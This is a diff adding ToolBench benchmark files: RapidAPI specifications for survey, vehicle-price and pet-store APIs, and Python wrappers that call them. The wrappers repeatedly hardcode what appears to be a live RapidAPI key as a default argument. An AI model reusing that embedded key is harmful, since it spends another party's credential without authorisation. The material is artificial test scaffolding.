+ "convert_code": "import requests\n\nurl = \"https://techtic-naitik-supper_app-v1.p.rapidapi.com/spoonacular-recipe-food-nutrition-v1.p.mashape.com/food/ingredients/map\"\nquerystring = {\"servings\": \"2\", \"ingredients\": \"[\\\"eggs\\\",\\\"bacon\\\"]\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"techtic-naitik-supper_app-v1.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
40
+ "test_endpoint": "",
41
+ "statuscode": 1,
42
+ "schema": ""
43
+ }
44
+ ]
45
+ }
toolbench/toolenv/tools/Other/surveymethods.json ADDED
@@ -0,0 +1,182 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "53aa5df1e4b07e1f4ebec74b",
3
+ "tool_description": "The SurveyMethods API is designed so that you can integrate third party applications (like HR, CRM, Helpdesk, etc.) with SurveyMethods using HTTP methods. To use our API, you must have an account with SurveyMethods. Our API is available to all users regardless of package preferences.",
4
+ "home_url": "https://rapidapi.com/surveymethods/api/surveymethods/",
5
+ "name": "SurveyMethods",
6
+ "title": "SurveyMethods",
7
+ "pricing": "FREE",
8
+ "tool_name": "SurveyMethods",
9
+ "score": {
10
+ "avgServiceLevel": 100,
11
+ "avgLatency": 750,
12
+ "avgSuccessRate": 0,
13
+ "popularityScore": 0.1,
14
+ "__typename": "Score"
15
+ },
16
+ "host": "community-survey-methods.p.rapidapi.com",
17
+ "api_list": [
18
+ {
19
+ "name": "Dashboard",
20
+ "url": "https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/responses/{survey_code}/dashboard",
21
+ "description": "Get the deployment and response dashboard",
22
+ "method": "GET",
23
+ "required_parameters": [
24
+ {
25
+ "name": "login_id",
26
+ "type": "STRING",
27
+ "description": "",
28
+ "default": ""
29
+ },
30
+ {
31
+ "name": "api_key",
32
+ "type": "STRING",
33
+ "description": "",
34
+ "default": ""
35
+ },
36
+ {
37
+ "name": "survey_code",
38
+ "type": "STRING",
39
+ "description": "",
40
+ "default": ""
41
+ }
42
+ ],
43
+ "optional_parameters": [],
44
+ "code": "import requests\n\nurl = \"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/responses/{survey_code}/dashboard\"\nquerystring = {\"login_id\": \"\", \"api_key\": \"\", \"survey_code\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"community-survey-methods.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
45
+ "convert_code": "import requests\n\nurl = \"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/responses/{survey_code}/dashboard\"\nquerystring = {\"login_id\": \"\", \"api_key\": \"\", \"survey_code\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"community-survey-methods.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
46
+ "test_endpoint": {
47
+ "status": "Your request was not completed because of an incorrect login_id and/or api_key."
48
+ },
49
+ "statuscode": 1,
50
+ "schema": ""
51
+ },
52
+ {
53
+ "name": "Deployment Details",
54
+ "url": "https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/surveys/{survey_code}/status",
55
+ "description": "Using this API call, you can retrieve the current deployment status of a particular survey.",
56
+ "method": "GET",
57
+ "required_parameters": [
58
+ {
59
+ "name": "login_id",
60
+ "type": "STRING",
61
+ "description": "",
62
+ "default": ""
63
+ },
64
+ {
65
+ "name": "api_key",
66
+ "type": "STRING",
67
+ "description": "",
68
+ "default": ""
69
+ },
70
+ {
71
+ "name": "survey_code",
72
+ "type": "STRING",
73
+ "description": "",
74
+ "default": ""
75
+ }
76
+ ],
77
+ "optional_parameters": [],
78
+ "code": "import requests\n\nurl = \"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/surveys/{survey_code}/status\"\nquerystring = {\"login_id\": \"\", \"api_key\": \"\", \"survey_code\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"community-survey-methods.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
79
+ "convert_code": "import requests\n\nurl = \"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/surveys/{survey_code}/status\"\nquerystring = {\"login_id\": \"\", \"api_key\": \"\", \"survey_code\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"community-survey-methods.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
80
+ "test_endpoint": {
81
+ "status": "Your request was not completed because of an incorrect login_id and/or api_key."
82
+ },
83
+ "statuscode": 1,
84
+ "schema": ""
85
+ },
86
+ {
87
+ "name": "Responses Summary",
88
+ "url": "https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/responses/{survey_code}/summary",
89
+ "description": "Using this API call you can retrieve information such as custom field labels & values, date on which a response was started and when was it completed, the survey response method (email/web), the email address of the respondent in case of an email response, IP address and the response code for each individual response of your survey.",
90
+ "method": "GET",
91
+ "required_parameters": [
92
+ {
93
+ "name": "login_id",
94
+ "type": "STRING",
95
+ "description": "",
96
+ "default": ""
97
+ },
98
+ {
99
+ "name": "api_key",
100
+ "type": "STRING",
101
+ "description": "",
102
+ "default": ""
103
+ },
104
+ {
105
+ "name": "survey_code",
106
+ "type": "STRING",
107
+ "description": "",
108
+ "default": ""
109
+ }
110
+ ],
111
+ "optional_parameters": [],
112
+ "code": "import requests\n\nurl = \"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/responses/{survey_code}/summary\"\nquerystring = {\"login_id\": \"\", \"api_key\": \"\", \"survey_code\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"community-survey-methods.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
113
+ "convert_code": "import requests\n\nurl = \"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/responses/{survey_code}/summary\"\nquerystring = {\"login_id\": \"\", \"api_key\": \"\", \"survey_code\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"community-survey-methods.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
114
+ "test_endpoint": {
115
+ "status": "Your request was not completed because of an incorrect login_id and/or api_key."
116
+ },
117
+ "statuscode": 1,
118
+ "schema": ""
119
+ },
120
+ {
121
+ "name": "All Survey Details",
122
+ "url": "https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/surveys/details",
123
+ "description": "",
124
+ "method": "GET",
125
+ "required_parameters": [
126
+ {
127
+ "name": "login_id",
128
+ "type": "STRING",
129
+ "description": "",
130
+ "default": ""
131
+ },
132
+ {
133
+ "name": "api_key",
134
+ "type": "STRING",
135
+ "description": "",
136
+ "default": ""
137
+ }
138
+ ],
139
+ "optional_parameters": [],
140
+ "code": "import requests\n\nurl = \"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/surveys/details\"\nquerystring = {\"login_id\": \"\", \"api_key\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"community-survey-methods.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
141
+ "convert_code": "import requests\n\nurl = \"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/surveys/details\"\nquerystring = {\"login_id\": \"\", \"api_key\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"community-survey-methods.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
142
+ "test_endpoint": {
143
+ "status": "Your request was not completed because of an incorrect login_id and/or api_key."
144
+ },
145
+ "statuscode": 1,
146
+ "schema": ""
147
+ },
148
+ {
149
+ "name": "Remote Launch",
150
+ "url": "https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/surveys/{survey_code}/remotelaunch",
151
+ "description": "Launch your survey programmatically",
152
+ "method": "POST",
153
+ "required_parameters": [
154
+ {
155
+ "name": "login_id",
156
+ "type": "STRING",
157
+ "description": "",
158
+ "default": ""
159
+ },
160
+ {
161
+ "name": "api_key",
162
+ "type": "STRING",
163
+ "description": "",
164
+ "default": ""
165
+ },
166
+ {
167
+ "name": "survey_code",
168
+ "type": "STRING",
169
+ "description": "",
170
+ "default": ""
171
+ }
172
+ ],
173
+ "optional_parameters": [],
174
+ "code": "import requests\n\nurl = \"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/surveys/{survey_code}/remotelaunch\"\nquerystring = {\"login_id\": \"\", \"api_key\": \"\", \"survey_code\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"community-survey-methods.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
175
+ "convert_code": "import requests\n\nurl = \"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/surveys/{survey_code}/remotelaunch\"\nquerystring = {\"login_id\": \"\", \"api_key\": \"\", \"survey_code\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"community-survey-methods.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
176
+ "test_endpoint": "",
177
+ "statuscode": 1,
178
+ "schema": ""
179
+ }
180
+ ],
181
+ "standardized_name": "surveymethods"
182
+ }
toolbench/toolenv/tools/Other/surveymethods/api.py ADDED
@@ -0,0 +1,92 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def dashboard(login_id: str, api_key: str, survey_code: str, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "Get the deployment and response dashboard"
12
+
13
+ """
14
+ url = f"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/responses/{survey_code}/dashboard"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "community-survey-methods.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
30
+ def deployment_details(login_id: str, api_key: str, survey_code: str, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
31
+ """
32
+ "Using this API call, you can retrieve the current deployment status of a particular survey."
33
+
34
+ """
35
+ url = f"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/surveys/{survey_code}/status"
36
+ querystring = {}
37
+
38
+ headers = {
39
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
40
+ "X-RapidAPI-Host": "community-survey-methods.p.rapidapi.com"
41
+ }
42
+
43
+
44
+ response = requests.get(url, headers=headers, params=querystring)
45
+ try:
46
+ observation = response.json()
47
+ except:
48
+ observation = response.text
49
+ return observation
50
+
51
+ def responses_summary(login_id: str, api_key: str, survey_code: str, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
52
+ """
53
+ "Using this API call you can retrieve information such as custom field labels & values, date on which a response was started and when was it completed, the survey response method (email/web), the email address of the respondent in case of an email response, IP address and the response code for each individual response of your survey."
54
+
55
+ """
56
+ url = f"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/responses/{survey_code}/summary"
57
+ querystring = {}
58
+
59
+ headers = {
60
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
61
+ "X-RapidAPI-Host": "community-survey-methods.p.rapidapi.com"
62
+ }
63
+
64
+
65
+ response = requests.get(url, headers=headers, params=querystring)
66
+ try:
67
+ observation = response.json()
68
+ except:
69
+ observation = response.text
70
+ return observation
71
+
72
+ def all_survey_details(login_id: str, api_key: str, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
73
+ """
74
+ ""
75
+
76
+ """
77
+ url = f"https://community-survey-methods.p.rapidapi.com/{login_id}/{api_key}/surveys/details"
78
+ querystring = {}
79
+
80
+ headers = {
81
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
82
+ "X-RapidAPI-Host": "community-survey-methods.p.rapidapi.com"
83
+ }
84
+
85
+
86
+ response = requests.get(url, headers=headers, params=querystring)
87
+ try:
88
+ observation = response.json()
89
+ except:
90
+ observation = response.text
91
+ return observation
92
+
toolbench/toolenv/tools/Other/tabela_fipe_simples.json ADDED
@@ -0,0 +1,26 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "5a019b2ee4b0c95e003b5ea0",
3
+ "tool_description": "Tabela FIPE Simples\r\n\r\nCarros, Motos e Caminh\u00f5es.\r\n \r\nAtualizada, diretamente do site da www.fipe.org.br todos os dias.\r\n\r\nTabela Fiple Simples JQUERY/PHP",
4
+ "home_url": "https://rapidapi.com/JhowJhoe/api/tabela-fipe-simples/",
5
+ "name": "Tabela Fipe Simples",
6
+ "title": "Tabela Fipe Simples",
7
+ "pricing": "FREEMIUM",
8
+ "tool_name": "Tabela Fipe Simples",
9
+ "score": null,
10
+ "host": "tabelafipews.p.rapidapi.com",
11
+ "api_list": [
12
+ {
13
+ "name": "/tabelafipe",
14
+ "url": "https://tabelafipews.p.rapidapi.com/tabelafipe",
15
+ "description": "",
16
+ "method": "POST",
17
+ "required_parameters": [],
18
+ "optional_parameters": [],
19
+ "code": "import requests\n\nurl = \"https://tabelafipews.p.rapidapi.com/tabelafipe\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"tabelafipews.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
20
+ "convert_code": "import requests\n\nurl = \"https://tabelafipews.p.rapidapi.com/tabelafipe\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"tabelafipews.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
21
+ "test_endpoint": "",
22
+ "statuscode": 1,
23
+ "schema": ""
24
+ }
25
+ ]
26
+ }
toolbench/toolenv/tools/Other/team_petstore.json ADDED
@@ -0,0 +1,534 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "api_17ff52a2-29b7-4a56-a0f6-fea22e26b657",
3
+ "tool_description": "This is a sample server Petstore server. You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/). For this sample, you can use the api key `special-key` to test the authorization filters.",
4
+ "home_url": "https://rapidapi.com/vlnca-default/api/team-petstore/",
5
+ "name": "team petstore",
6
+ "title": "team petstore",
7
+ "pricing": "FREEMIUM",
8
+ "tool_name": "team petstore",
9
+ "score": {
10
+ "avgServiceLevel": 100,
11
+ "avgLatency": 761,
12
+ "avgSuccessRate": 37,
13
+ "popularityScore": 6.7,
14
+ "__typename": "Score"
15
+ },
16
+ "host": "team-petstore.p.rapidapi.com",
17
+ "api_list": [
18
+ {
19
+ "name": "getPetById",
20
+ "url": "https://team-petstore.p.rapidapi.com/pet/{petId}",
21
+ "description": "Returns a single pet",
22
+ "method": "GET",
23
+ "required_parameters": [
24
+ {
25
+ "name": "petId",
26
+ "type": "NUMBER",
27
+ "description": "ID of pet to return",
28
+ "default": 0
29
+ }
30
+ ],
31
+ "optional_parameters": [],
32
+ "code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/pet/{petId}\"\nquerystring = {\"petId\": 0}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
33
+ "convert_code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/pet/{petId}\"\nquerystring = {\"petId\": 0}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
34
+ "test_endpoint": {
35
+ "code": 404,
36
+ "type": "unknown",
37
+ "message": "java.lang.NumberFormatException: For input string: \"{petId}\""
38
+ },
39
+ "statuscode": 200,
40
+ "schema": {
41
+ "type": "object",
42
+ "properties": {
43
+ "get": {
44
+ "type": "string"
45
+ },
46
+ "parameters": {
47
+ "type": "array"
48
+ },
49
+ "errors": {
50
+ "type": "array"
51
+ },
52
+ "results": {
53
+ "type": "integer"
54
+ },
55
+ "response": {
56
+ "type": "array",
57
+ "items": {
58
+ "type": "object"
59
+ }
60
+ }
61
+ }
62
+ }
63
+ },
64
+ {
65
+ "name": "logoutUser",
66
+ "url": "https://team-petstore.p.rapidapi.com/user/logout",
67
+ "description": "Logs out current logged in user session",
68
+ "method": "GET",
69
+ "required_parameters": [],
70
+ "optional_parameters": [],
71
+ "code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/user/logout\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
72
+ "convert_code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/user/logout\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
73
+ "test_endpoint": {
74
+ "code": 200,
75
+ "type": "unknown",
76
+ "message": "ok"
77
+ }
78
+ },
79
+ {
80
+ "name": "loginUser",
81
+ "url": "https://team-petstore.p.rapidapi.com/user/login",
82
+ "description": "Logs user into the system",
83
+ "method": "GET",
84
+ "required_parameters": [
85
+ {
86
+ "name": "username",
87
+ "type": "STRING",
88
+ "description": "The user name for login",
89
+ "default": "string"
90
+ },
91
+ {
92
+ "name": "password",
93
+ "type": "STRING",
94
+ "description": "The password for login in clear text",
95
+ "default": "string"
96
+ }
97
+ ],
98
+ "optional_parameters": [],
99
+ "code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/user/login\"\nquerystring = {\"username\": \"string\", \"password\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
100
+ "convert_code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/user/login\"\nquerystring = {\"username\": \"string\", \"password\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
101
+ "test_endpoint": {
102
+ "code": 200,
103
+ "type": "unknown",
104
+ "message": "logged in user session:1686933002418"
105
+ },
106
+ "statuscode": 200,
107
+ "schema": {
108
+ "type": "object",
109
+ "properties": {
110
+ "get": {
111
+ "type": "string"
112
+ },
113
+ "parameters": {
114
+ "type": "array"
115
+ },
116
+ "errors": {
117
+ "type": "array"
118
+ },
119
+ "results": {
120
+ "type": "integer"
121
+ },
122
+ "response": {
123
+ "type": "array",
124
+ "items": {
125
+ "type": "object"
126
+ }
127
+ }
128
+ }
129
+ }
130
+ },
131
+ {
132
+ "name": "getInventory",
133
+ "url": "https://team-petstore.p.rapidapi.com/store/inventory",
134
+ "description": "Returns a map of status codes to quantities",
135
+ "method": "GET",
136
+ "required_parameters": [],
137
+ "optional_parameters": [],
138
+ "code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/store/inventory\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
139
+ "convert_code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/store/inventory\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
140
+ "test_endpoint": {
141
+ "totvs": 5,
142
+ "sold": 13,
143
+ "string": 624,
144
+ "pending": 10,
145
+ "cat": 1,
146
+ "dgdfgdf": 1,
147
+ "available": 279,
148
+ "not available": 1,
149
+ "Available": 3,
150
+ "New-4": 1,
151
+ "peric": 4,
152
+ "disponible": 1
153
+ },
154
+ "statuscode": 200,
155
+ "schema": {
156
+ "type": "object",
157
+ "properties": {
158
+ "get": {
159
+ "type": "string"
160
+ },
161
+ "parameters": {
162
+ "type": "array"
163
+ },
164
+ "errors": {
165
+ "type": "array"
166
+ },
167
+ "results": {
168
+ "type": "integer"
169
+ },
170
+ "response": {
171
+ "type": "array",
172
+ "items": {
173
+ "type": "object"
174
+ }
175
+ }
176
+ }
177
+ }
178
+ },
179
+ {
180
+ "name": "getOrderById",
181
+ "url": "https://team-petstore.p.rapidapi.com/store/order/{orderId}",
182
+ "description": "For valid response try integer IDs with value >= 1 and <= 10. Other values will generated exceptions",
183
+ "method": "GET",
184
+ "required_parameters": [
185
+ {
186
+ "name": "orderId",
187
+ "type": "NUMBER",
188
+ "description": "ID of pet that needs to be fetched",
189
+ "default": 0
190
+ }
191
+ ],
192
+ "optional_parameters": [],
193
+ "code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/store/order/{orderId}\"\nquerystring = {\"orderId\": 0}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
194
+ "convert_code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/store/order/{orderId}\"\nquerystring = {\"orderId\": 0}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
195
+ "test_endpoint": {
196
+ "code": 404,
197
+ "type": "unknown",
198
+ "message": "java.lang.NumberFormatException: For input string: \"{orderId}\""
199
+ },
200
+ "statuscode": 200,
201
+ "schema": {
202
+ "type": "object",
203
+ "properties": {
204
+ "get": {
205
+ "type": "string"
206
+ },
207
+ "parameters": {
208
+ "type": "array"
209
+ },
210
+ "errors": {
211
+ "type": "array"
212
+ },
213
+ "results": {
214
+ "type": "integer"
215
+ },
216
+ "response": {
217
+ "type": "array",
218
+ "items": {
219
+ "type": "object"
220
+ }
221
+ }
222
+ }
223
+ }
224
+ },
225
+ {
226
+ "name": "getUserByName",
227
+ "url": "https://team-petstore.p.rapidapi.com/user/string",
228
+ "description": "Get user by user name",
229
+ "method": "GET",
230
+ "required_parameters": [
231
+ {
232
+ "name": "username",
233
+ "type": "STRING",
234
+ "description": "The name that needs to be fetched. Use user1 for testing. ",
235
+ "default": "string"
236
+ }
237
+ ],
238
+ "optional_parameters": [],
239
+ "code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/user/string\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
240
+ "convert_code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/user/{username}\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
241
+ "test_endpoint": {
242
+ "id": 9223372036854750641,
243
+ "username": "string",
244
+ "firstName": "string",
245
+ "lastName": "string",
246
+ "email": "string",
247
+ "password": "string",
248
+ "phone": "string",
249
+ "userStatus": 0
250
+ },
251
+ "statuscode": 200,
252
+ "schema": {
253
+ "type": "object",
254
+ "properties": {
255
+ "get": {
256
+ "type": "string"
257
+ },
258
+ "parameters": {
259
+ "type": "array"
260
+ },
261
+ "errors": {
262
+ "type": "array"
263
+ },
264
+ "results": {
265
+ "type": "integer"
266
+ },
267
+ "response": {
268
+ "type": "array",
269
+ "items": {
270
+ "type": "object"
271
+ }
272
+ }
273
+ }
274
+ }
275
+ },
276
+ {
277
+ "name": "updatePetWithForm",
278
+ "url": "https://team-petstore.p.rapidapi.com/pet/{petId}",
279
+ "description": "Updates a pet in the store with form data",
280
+ "method": "POST",
281
+ "required_parameters": [
282
+ {
283
+ "name": "petId",
284
+ "type": "NUMBER",
285
+ "description": "ID of pet that needs to be updated",
286
+ "default": 0
287
+ }
288
+ ],
289
+ "optional_parameters": [],
290
+ "code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/pet/{petId}\"\nquerystring = {\"petId\": 0}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
291
